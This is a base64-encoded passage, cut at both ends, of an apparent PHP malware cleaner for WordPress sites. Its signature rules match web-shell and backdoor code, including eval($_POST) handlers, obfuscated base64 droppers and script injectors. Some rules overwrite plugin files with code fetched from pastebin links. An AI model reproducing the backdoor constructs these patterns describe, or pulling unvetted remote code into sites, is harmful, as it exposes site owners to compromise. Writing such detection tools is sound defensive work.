iksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3xqcykkL21pJywKICAgICJjb2RlIiA9PiAnL0VsZW1lbnRcLnByb3RvdHlwZVwuYXBwZW5kQWZ0ZXIgPSBmdW5jdGlvblwoZWxlbWVudFwpIHtlbGVtZW50XC5wYXJlbnROb2RlXC5pbnNlcnRCZWZvcmVcKHRoaXMsIGVsZW1lbnRcLm5leHRTaWJsaW5nXCk7fSwgZmFsc2U7XChmdW5jdGlvblwoXCkgeyB2YXIgZWxlbSA9IGRvY3VtZW50XC5jcmVhdGVFbGVtZW50XChTdHJpbmdcLmZyb21DaGFyQ29kZVwoMTE1LDk5LDExNCwxMDUsMTEyLDExNlwpXCk7IGVsZW1cLnR5cGUgPSBTdHJpbmdcLmZyb21DaGFyQ29kZVwoMTE2LDEwMSwxMjAsMTE2LDQ3LDEwNiw5NywxMTgsOTcsMTE1LDk5LDExNCwxMDUsMTEyLDExNi4qdmFyIGxpc3QgPSBkb2N1bWVudFwuZ2V0RWxlbWVudHNCeVRhZ05hbWVcKFwnc2NyaXB0XCdcKTtsaXN0XC5pbnNlcnRCZWZvcmVcKHMsIGxpc3RcLmNoaWxkTm9kZXNcWzBcXVwpO1xzKn0vbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvZXh0cmFjdFwoXCRfUkVRVUVTVFwpO2lmXChtZDVcKFwkYlwpIT1cJ1swLTlhLWZdezMyfVwnXClce2RpZVwoXCk7XH1cJGNcKFwkZiwgXCRhXCk7aW5jbHVkZV9vbmNlIFwkZjsvbScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHAuKlwvXC9zY3AtMTczLipcPz4vbXNVJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwXHMqaWZccypcKGlzc2V0XChcJF9SRVFVRVNUXFtcJ2FjdGlvblwnXF1cKVxzKiYmXHMqaXNzZXRcKFwkX1JFUVVFU1RcW1wncGFzc3dvcmRcJ1xdXClccyomJlxzKlwoXCRfUkVRVUVTVFxbXCdwYXNzd29yZFwnXF0uKlw/Pi9tc1UnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHAgXCRbYS16QS1aX1x4ODAtXHhmZl1bYS16QS1aMC05X1x4ODAtXHhmZl0qID0gXCcuKiNbQS1aXSMtI1tBLVpdIy0jW0EtWl0jLSNbQS1aXSMtI1tBLVpdIy0uKi0xOyBcPz4vbVUnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKCi8qIGVuZCBjdXQgc2VjdGlvbiAqLwovKiBzdGFydCBjbGVhbiBzZWN0aW9uICovCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15pbml0XC5waHAkLycsCiAgICAiY29kZSIgPT4gJy9JbmZpbml0ZVdQL2lVJywKICAgICJhY3Rpb24iID0+ICdjbGVhbicKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15cLlteLl0qXC4oaWNvfHBuZ3xqcGd8Z2lwKSQvbWknLAogICAgImNvZGUiID0+ICcvLipiYXNlbmFtZS4qL2lVJywKICAgICJhY3Rpb24iID0+ICdjbGVhbicKKSwgCi8qIGVuZCBjbGVhbiBzZWN0aW9uICovCi8qIHN0YXJ0IG1hbnVhbCBzZWN0aW9uICovCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cXHg2OVxceDcwXFx4NzRcXHgyMFxceDYxXFx4NzNcXHg3OVxceDZFXFx4NjNcXHgyMFxceDYzXFx4NkNcXHg2MVxceDczXFx4NzNcXHgzRFxceDIyXFx4M0RcXHg1MlxceDMyXFx4NEVcXHgzNFxceDU0XFx4NTVcXHg3N1xceDdBXFx4NTJcXHg2Q1xceDZGXFx4MzdcXHg0Q1xceDU0XFx4NjNcXHgzMVxceDRGXFx4N0FcXHg0NVxceDNEXFx4MjJcXHgyMFxceDczXFx4NzJcXHg2M1xceDNEXFx4MjJcXHg2OFxceDc0XFx4NzRcXHg3MFxceDczXFx4M0FcXHgyRlxceDJGXFx4NzBcXHg2Q1xceDYxXFx4NzlcXHgyRVxceDYyXFx4NjVcXHg3M1xceDczXFx4NzRcXHg2MS9taScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJE8wME9PMC9taScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9eb3BuLXBvc3RcLnBocCQvJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksICAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvc3BhbWhhdXNcLm9yZy9pVScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLCAgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL21yaWxuc1wuY29tL2lVJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL3Jvb3RraXRuaW5qYVwuY29tL2lVJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL25ld19yZWFkbWVcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvY2FsbGFibGUvaVUnLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvQiBHZSBUZWFtICBGaWxlIE1hbmFnZXIvaVUnLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvLnsxNTAwfSQvbScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9wYXJvcnNcLmNvbS9taScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvXCR3cF9hdXRoX2tleS9taScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvaWZcKG1kNVwoXCRfQ09PS0lFXFtcJ3Bhc3N3b3JkL21pJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL2V2YWxcKFwkX1BPU1RcWy9pbXMnLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwgCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJF9QT1NUXFtcJGtleVxdIFw9IHN0cmlwc2xhc2hlc1woXCR2YWx1ZVwpL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvZXZhbFwoXCdcP1w+XCcvaW1zJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksIAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICd+PSg/OlwnXCk7cmV0dXJuXHMqYmFzZTY0X2RlY29kZVwoXCRhXFtcJGlcXVwpO1xzKn1ccypcPz5Xb3JkcHJlc3Nccyo8XD9waHBccypcJF8wKD88WDlhZDAyM2U2Pil8PSg/Oj09XCtcK1wrQ29kZWRccytCeVxzK0l6bGFkZW5cK1wrXCs9PT0oPzxYMjRmYTg4OWU+KXxcW0JZXHMrUCFSQTE3RFpcXT09KD88WDIxZjIxMGY4Pil8XHMqRkFMU0VcKVxzKntccypicmVhaztccyp9XHMqaWZccypcKFwkXHcrXHMqPT1ccypcZCsgXHxcfFxzKlwkXHcrXHMqPT09XHMqXGQrXHMqXHxcfFxzKlwkXHcrXHMqPT09XHMqXGQrXHMqXClccyp7XHMqXCRcdytcW1wkXHcrXF1cWyg/PFgyODc0OTE2Mj4pKXw+XHMqW1wnIl10b29sc1tcJyJdLFxzKlwvXCpccyphdmFpbGFibGU6KD86XHMqKD86bHN8c2VhcmNofHVwbG9hZHxjbWR8ZXZhbHxzcWx8bWFpbGVyfGVuY29kZXJzfHRvb2xzfHByb2Nlc3Nlc3xzeXNpbmZvKSw/XHMqKXs5LDExfVxzKlwqLyg/PFhlNDE0ZTY1Nj4pfEAoPzpcJF9DT09LSUU7XHMqXCQoPzxYMTk1YTcyMmM+KXxnenVuY29tcHJlc3NccypcKFxzKkBiYXNlNjRfZGVjb2RlXHMqXChccypcJFx3ezEsNDB9XHMqXClccypcKVxzKlwpXHMqXHtccypzZXRjb29raWVccypcKFxzKlwnW15cJ10qXCdccyosXHMqXCRcd3sxLDQwfVxzKlwpXHMqO1xzKnNldGNvb2tpZVxzKlwoXHMqXCdbXlwnXSpcJ1xzKixccypcJFx3ezEsNDB9XHMqXClccyo7XHMqXCRcd3sxLDQwfT1ccypjcmVhdGVfZnVuY3Rpb24oPzxYOThjYTRmYjA+KSl8XHMqKD86XCRcdytcKCIiLFxzKlwkXHcrXChcJFx3K1woIlx3KyIsXHMqIiIsXHMqXCRcdytcLlwkXHcrXC5cJFx3K1wuXCRcdytcKVwpXCk7XHMqXCRcdytcKFwpO1xzKlw/Pig/PFg3OTI2ZTQ0ND4pfHJlbW92ZV90YWdzXChccypfZGxccypcKFxzKlwkXyg/OkdFVHxQT1NUfENPT0tJRSlccypcWyg/PFg0MWM0MjA5ZT4pKXxhcnJheVwoKD86W1wnIl1cXj8oPzooPzpcZHsxLDN9fFwqKVwuKXszfSg/OlxkezEsM318XCopW1wnIl0sKXs5fVteXCldezk5OSw5OTk5fVwpO1teOjwlJlxeI117OSw0OTk5fSg/OmV4aXRcKHxceyloZWFkZXJcKFtcJyJdKD86TG9jYXRpb246XHMqaHR0cHM/Oi8vfEhUVFAvW1xkXC5dezEsM31ccyo0MDQpKD88WDVlZjhhYThiPil8bnVtX21hY3Jvc1woXHMqXCR7XHMqXCR7KD88WDkzYWM3YTZlPil8dW5zZXJpYWxpemVcKHN0cmluZ19jcHRcKGJhc2U2NF9kZWNvZGVcKFwkXHd7MSw0MH1cKSxcJFx3ezEsNDB9XClcKTtcJFx3ezEsNDB9PVwkX1JFUVVFU1QoPzxYNGY0NmZmNmI+KSl+c21pUycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLCAKCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15pbmRleDJcLnBocCQvJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJFteXD9cPFw+XC5cKVwqXC1cLFwmXHJcblx0XGZcdj07Olx8XH1cK1wvXSs/XChcJ1wnL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9ed3AtYmxvZ1wucGhwJC8nLAogICAgImNvZGUiID0+ICcvLiovaVUnLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL1wkdXNlcl9hZ2VudF90b19maWx0ZXIgPSBhcnJheVwoL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvXCR3cF9rc2VzX2RhdGEvaW1zJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9JbmZpbml0ZVdQIEFkbWluIHBhbmVsL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvXCRbYS16QS1aX1x4ODAtXHhmZl1bYS16QS1aMC05X1x4ODAtXHhmZl0qXHMqPVxzKihcJ3wiKVwkKFwnfCIpL20nLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL21lcm5hXC5jYy9tJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJG9Pb28gPSBcJHdwZGIvbScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvaW5jbHVkZVwoXCRfUkVRVUVTVC9tJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJGF1dGhfcGFzc1xzKj1ccypcIlthLWZBLUYwLTldezMyfVwiOy9tJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88YnJcLz5TZWN1cml0eSBDb2RlOiA8YnJcLz48aW5wdXQgbmFtZT1cInNlY3VyaXR5X2NvZGVcIiB2YWx1ZT1cIlwiXC8+PGJyXC8+L20nLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL2V2YWxcKGZpbGVfZ2V0X2NvbnRlbnRzXCgvbScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAoKLyogZW5kIG1hbnVhbCBzZWN0aW9uICovCi8qIHN0YXJ0IHJlcGxhY2Ugc2VjdGlvbiAqLwphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9eZG5kLXVwbG9hZC1jZjdcLnBocCQvJywKICAgICJjb2RlIiA9PiAnL3dwY2Y3X2VucXVldWVfc2NyaXB0cy9pVScsCiAgICAiYWN0aW9uIiA9PiAncmVwbGFjZScsCiAgICAidXJsIiA9PiAnaHR0cHM6Ly9wbHVnaW5zLnN2bi53b3JkcHJlc3Mub3JnL2RyYWctYW5kLWRyb3AtbXVsdGlwbGUtZmlsZS11cGxvYWQtY29udGFjdC1mb3JtLTcvdGFncy8xLjMuMy4zLjIvaW5jL2RuZC11cGxvYWQtY2Y3LnBocCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXnVzZXItcm9sZVwucGhwJC8nLAogICAgImNvZGUiID0+ICcvd3BwYl91c2VyZGF0YV9hZGRfdXNlcl9yb2xlL2lVJywKICAgICJhY3Rpb24iID0+ICdyZXBsYWNlJywKICAgICJ1cmwiID0+ICdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvdjJpYkF6RkgnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15BRE5JX1VwbG9hZGVyXC5waHAkLycsCiAgICAiY29kZSIgPT4gJy9BRE5JX1VwbG9hZGVyL2lVJywKICAgICJhY3Rpb24iID0+ICdyZXBsYWNlJywKICAgICJ1cmwiID0+ICdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvMnloQ3dDZmknCiksCgoKCi8qIGVuZCByZXBsYWNlIHNlY3Rpb24gKi8gCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9zaG9ydGNvZGVzXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL3JldHVyblxzKlwkd3BjZjdfc2hvcnRjb2RlX21hbmFnZXItPmFkZF9zaG9ydGNvZGVcKFxzKlwkdGFnLFxzKlwkZnVuYyxccypcJGhhc19uYW1lXHMqXCk7L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnc3JlcGxhY2UnLAogICAgIm5ld2NvZGUiID0+ICdpZiAobWV0aG9kX2V4aXN0cygkd3BjZjdfc2hvcnRjb2RlX21hbmFnZXIsXCdhZGRfc2hvcnRjb2RlXCcpKXtyZXR1cm4gJHdwY2Y3X3Nob3J0Y29kZV9tYW5hZ2VyLT5hZGRfc2hvcnRjb2RlKCR0YWcsICRmdW5jLCAkaGFzX25hbWUgKTt9JywKKSwKCik7CgoKJHBhcmFub2lkID0gYXJyYXkoCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvXCRbXlw/XDxcPlwuXClcKlwtXCxcJlxyXG5cdFxmXHY9OzpcfFx9XCtcL10rP1woW15cKV0vaW1zJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCgopOwoKZWNobyBkYXRlKCJIOmk6cyIpOwplY2hvICI8YnI+XG4iOwoKZnVuY3Rpb24gc3RycG9zYSgkaGF5c3RhY2ssICRuZWVkbGUsICRvZmZzZXQ9MCkgewogICAgaWYoIWlzX2FycmF5KCRuZWVkbGUpKSB7JG5lZWRsZSA9IGFycmF5KCRuZWVkbGUpO30KICAgICAgICBmb3JlYWNoKCRuZWVkbGUgYXMgJHF1ZXJ5KSB7CiAgICAgICAgICAgIGlmKHN0cnBvcygkaGF5c3RhY2ssICRxdWVyeSwgJG9mZnNldCkgIT09IGZhbHNlKSByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIERlYWRMZXR0ZXIoKXsKICAgICAgIGRpZSgiPHNjcmlwdD5hbGVydCgnRW5kIHdvcmsnKTs8L3NjcmlwdD4iKTsKfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3RyaXBvcycpKSB7CiAgICBmdW5jdGlvbiBzdHJpcG9zKCRoYXlzdGFjaywgJG5lZWRsZSwgJG9mZnNldCA9IDApIHsKICAgIHJldHVybiBzdHJwb3Moc3RydG9sb3dlcigkaGF5c3RhY2spLCBzdHJ0b2xvd2VyKCRuZWVkbGUpLCAkb2Zmc2V0KTsKICAgIH0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSkgewogICAgZnVuY3Rpb24gZmlsZV9wdXRfY29udGVudHMoJGZpbGVfbmFtZSwgJGRhdGEpIHsKICAgICAgICAkZiA9IGZvcGVuKCRmaWxlX25hbWUsInciKTsKICAgICAgICBmcHV0cygkZiwkZGF0YSk7CiAgICAgICAgZmNsb3NlKCRmKTsKICAgIH0KfSAgIAoKZnVuY3Rpb24gQ2hlY2soJHRleHQpewoJJHBvcyA9IHN0cmlwb3MoJHRleHQsICd6ZW5kJyk7CgkkcG9zMiA9IHN0cmlwb3MoJHRleHQsICdpb25jdWJlJyk7CglpZiAoKCRwb3MgPT09IGZhbHNlKSAmJiAoJHBvczIgPT09IGZhbHNlKSl7IHJldHVybiB0cnVlO30KCXJldHVybiBmYWxzZTsKfQoKCmZ1bmN0aW9uIEdldF9UYXNrX051bWJlcigpewogICAgJGNvdW50X2ZpbGUgPSAnX3Rhc2tfbic7CiAgICBpZiAoZmlsZV9leGlzdHMoJGNvdW50X2ZpbGUpKXsKICAgICAgICAkY291bnQgPSAoaW50KWZpbGVfZ2V0X2NvbnRlbnRzKCRjb3VudF9maWxlKTsKICAgICAgICAkbmV3X2NvdW50ID0gJGNvdW50KzE7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGNvdW50X2ZpbGUsJG5ld19jb3VudCk7CiAgICAgICAgcmV0dXJuICRjb3VudDsKICAgIH0gZWxzZSB7CiAgICAJZmlsZV9wdXRfY29udGVudHMoJGNvdW50X2ZpbGUsJzEnKTsKICAgICAgICByZXR1cm4gMDsKICAgIH0KfQoKZnVuY3Rpb24gR2V0X1Rhc2soKXsKICAgICR0YXNrX2ZpbGUgPSAnX3Rhc2snOwogICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgIGlmIChmaWxlX2V4aXN0cygkdGFza19maWxlKSl7CiAgICAgICAgJGNvdW50ID0gR2V0X1Rhc2tfTnVtYmVyKCk7CiAgICAgICAgZWNobyAiVGFzayBudW06ICRjb3VudCA8YnI+XG4iOwogICAgICAgICRjb3VudGVyID0gMDsKICAgICAgICAkaGFuZGxlID0gQGZvcGVuKCR0YXNrX2ZpbGUsICJyIik7CiAgICAgICAgaWYgKCRoYW5kbGUpIHsKICAgICAgICAgICAgd2hpbGUgKCgkYnVmZmVyID0gZmdldHMoJGhhbmRsZSwgNDA5NikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgaWYoJGNvdW50ZXIgPT0gJGNvdW50KSB7cmV0dXJuIHRyaW0oJGJ1ZmZlcik7fQogICAgICAgICAgICAkY291bnRlcisrOwogICAgICAgICAgICB9CiAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgIH0KICAgIAogICAgfSAKICAgIHJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBDaGVja19CYWRfRGlyKCRmbmFtZSl7CiAgICAKICAgICRwYXJ0W10gPSAnY2FjaGUnOwogICAgJHBhcnRbXSA9ICd0cmFzaCc7CiAgICAkcGFydFtdID0gJ3NuYXBzaG90JzsKICAgICRwYXJ0W10gPSAnLy5naXQnOwogICAgJHBhcnRbXSA9ICdsb3N0K2ZvdW5kJzsKICAgICRwYXJ0W10gPSAnL2Nncm91cHNfJzsKICAgICRwYXJ0W10gPSAnL3dmbG9ncyc7CiAgICAkcGFydFtdID0gJy9hd3N0YXRzJzsKCiAgICBpZihpc3NldCgkX0NPT0tJRVsnZmFzdF93b3JrZXInXSkpewogICAgICAgICRwYXJ0W10gPSAnd3AtYWRtaW4nOwogICAgICAgICRwYXJ0W10gPSAnd3AtY29udGVudCc7CiAgICAgICAgJHBhcnRbXSA9ICd3cC1pbmNsdWRlcyc7CiAgICAgICAgJHBhcnRbXSA9ICdjZ2ktYmluJzsKICAgICAgICAkcGFydFtdID0gJ21haWwnOwogICAgfQogICAgCiAgICAkZnVsbFtdID0gJy9wcm9jJzsKICAgICRmdWxsW10gPSAnL3Vzci9saWInOwogICAgJGZ1bGxbXSA9ICcvdG1wJzsKICAgICRmdWxsW10gPSAnL2V0Yyc7CiAgICAkZnVsbFtdID0gJy9saWInOwogICAgJGZ1bGxbXSA9ICcvbGliNjQnOwogICAgJGZ1bGxbXSA9ICcvYmluJzsKICAgICRmdWxsW10gPSAnL3NiaW4nOwogICAgJGZ1bGxbXSA9ICcvdXNyL2V0Yyc7CiAgICAkZnVsbFtdID0gJy9ib290JzsKICAgICRmdWxsW10gPSAnL2Rldic7CiAgICAkZnVsbFtdID0gJy9vcHQnOwogICAgJGZ1bGxbXSA9ICcvc2VsaW51eCc7CiAgICAkZnVsbFtdID0gJy9iaW4nOwogICAgJGZ1bGxbXSA9ICcvdmFyL2xvZyc7CiAgICAkZnVsbFtdID0gJy92YXIvY2FjaGUnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2RvYyc7CiAgICAkZnVsbFtdID0gJy91c3IvWDExUjYnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2dhbWVzJzsKICAgICRmdWxsW10gPSAnL3Vzci9zcmMnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2luY2x1ZGUnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2tlcmJlcm9zJzsKICAgICRmdWxsW10gPSAnL3Zhci9zcG9vbCc7CiAgICAkZnVsbFtdID0gJy92YXIvcnVuJzsKICAgICRmdWxsW10gPSAnL3Zhci9sb2NrJzsKICAgICRmdWxsW10gPSAnL3Vzci9tYW4nOwogICAgJGZ1bGxbXSA9ICcvdmFyL2RiJzsKICAgICRmdWxsW10gPSAnL3Zhci9sb2NhbCc7CiAgICAkZnVsbFtdID0gJy92YXIvbWFpbCc7CiAgICAkZnVsbFtdID0gJy91c3Ivc2hhcmUvZG9jJzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS9tYW4nOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NoYXJlL1gxMSc7CiAgICAkZnVsbFtdID0gJy91c3Ivc2hhcmUvbG9jYWxlJzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS9wZXJsJzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS92aW0nOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NoYXJlL2ljb25zJzsKICAgICRmdWxsW10gPSAnL3N5cyc7CiAgICAkZnVsbFtdID0gJy91c3IvbG9jYWwvbGliNjQnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2xvY2FsL3NoYXJlL3Blcmw1JzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS90ZXhtZic7CiAgICAkZnVsbFtdID0gJy91c3Ivc2hhcmUvem9uZWluZm8nOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NoYXJlL3RleG1mJzsKICAgICRmdWxsW10gPSAnL3Vzci9zaGFyZS90aGVtZXMnOwogICAgJGZ1bGxbXSA9ICcvRkFLRUZTJzsKICAgICRmdWxsW10gPSAnL3Vzci9sb2NhbC9jcGFuZWwnOwogICAgJGZ1bGxbXSA9ICcvdXNyL3BvcnRhZ2UnOwogICAgJGZ1bGxbXSA9ICcvbW9kX3BhZ2VzcGVlZC9jYWNoZSc7CiAgICAkZnVsbFtdID0gJy91c3IvcG9ydHMnOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NoYXJlL3JpJzsKICAgICRmdWxsW10gPSAnL2hvbWUvbWFpbHF1b3RhJzsKICAgICRmdWxsW10gPSAnL3Zhci90bXAnOwogICAgJGZ1bGxbXSA9ICcvdmFyL3Byb2ZpbGVzJzsKICAgICRmdWxsW10gPSAnL3Zhci9vcHQnOwogICAgJGZ1bGxbXSA9ICcvdmFyL3lwJzsKICAgICRmdWxsW10gPSAnL3Zhci9uZXRlbmJlcmcnOwogICAgJGZ1bGxbXSA9ICcvdmFyL2VtcHR5JzsKICAgICRmdWxsW10gPSAnL3Zhci9hY2NvdW50JzsKICAgICRmdWxsW10gPSAnL3Zhci9jcmFzaCc7CiAgICAkZnVsbFtdID0gJy92YXIvY3ZzJzsKICAgICRmdWxsW10gPSAnL3Zhci9hc2wnOwogICAgJGZ1bGxbXSA9ICcvdmFyL25hbWVkJzsKICAgICRmdWxsW10gPSAnL3Zhci9saWInOwogICAgJGZ1bGxbXSA9ICcvdmFyL2dhbWVzJzsKICAgICRmdWxsW10gPSAnL3Zhci9ob3N0Z2F0b3InOwogICAgJGZ1bGxbXSA9ICcvdXNyL3NiaW4nOwogICAgJGZ1bGxbXSA9ICcvdXNyL2Jpbic7CiAgICAkZnVsbFtdID0gJy91c3IvbGliZXhlYyc7CiAgICAkZnVsbFtdID0gJy91c3IvcGhwNCc7CiAgICAkZnVsbFtdID0gJy91c3Ivc2hhcmUnOwogICAgJGZ1bGxbXSA9ICcvdXNyL2xpYjY0JzsKICAgICRmdWxsW10gPSAnL3Vzci9sb2NhbC9saWInOwoKICAgIGlmIChzdHJwb3NhKCRmbmFtZSwgJHBhcnQpKXsKICAgIHJldHVybiB0cnVlOw